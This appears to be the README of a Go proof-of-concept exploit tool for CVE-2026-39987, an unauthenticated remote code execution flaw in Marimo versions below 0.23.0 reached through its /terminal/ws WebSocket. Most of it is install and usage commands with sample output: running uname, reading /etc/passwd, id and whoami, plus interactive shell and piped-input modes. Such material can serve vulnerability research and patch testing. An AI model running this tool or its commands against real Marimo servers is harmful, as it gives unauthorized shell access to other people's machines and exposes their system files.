
Exploits CVE-2026-39987 pre-auth RCE in Marimo <0.23.0 by connecting to the unauthenticated /terminal/ws WebSocket. Supports arbitrary command execution, piped input, and interactive shell sessions.
Installation • Usage • Examples
I'm just trying out Go :D Btw: CVE-2026-39987 PoC: Marimo<0.23.0 Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass (no authn check on /terminal/ws).
Resources:
go install -v github.com/matesz44/cve-2026-39987/cmd/cve-2026-39987@latest
cve-2026-39987 -h
This will display help for the tool. Here are all the switches it supports.
CVE-2026-39987 PoC: Marimo<0.23.0 Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass
- Source: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
Usage:
./cve-2026-39987 [flags]
Flags:
-t, -target string Target WebSocket URL (required, e.g., ws(s)://[TARGET]:([PORT])/terminal/ws)
-c, -cmd string Command to Run (default "uname -a")
-i, -interactive Interactive Mode
Default Command (uname -a):
cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws
REDACTED@REDACTED:~$ uname -a
Linux [...]
REDACTED@REDACTED:~$ exit
exit
[INF:normalclose] websocket: close 1000 (normal): Terminal session ended
Custom Command (-c):
cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws -c "cat /etc/passwd"
REDACTED@REDACTED:~$ cat /etc/passwd
exit
root:x:0:0: [...]
REDACTED@REDACTED:~$ exit
exit
[INF:normalclose] websocket: close 1000 (normal): Terminal session ended
Interactive Mode (-i):
cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws -i
REDACTED@REDACTED:~$ id
id
uid=1000(REDACTED) gid=1000(REDACTED) groups=1000(REDACTED)
REDACTED@REDACTED:~$ whoami
whoami
REDACTED
REDACTED@REDACTED:~$ exit
exit
exit
[INF:normalclose] websocket: close 1000 (normal): Terminal session ended
Piping:
printf "id\nwhoami" | cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws
REDACTED@REDACTED:~$ id
whoami
exit
uid=1000(REDACTED) gid=1000(REDACTED) groups=1000(REDACTED)
REDACTED@REDACTED:~$ whoami
REDACTED
REDACTED@REDACTED:~$ exit
exit
[INF:normalclose] websocket: close 1000 (normal): Terminal session ended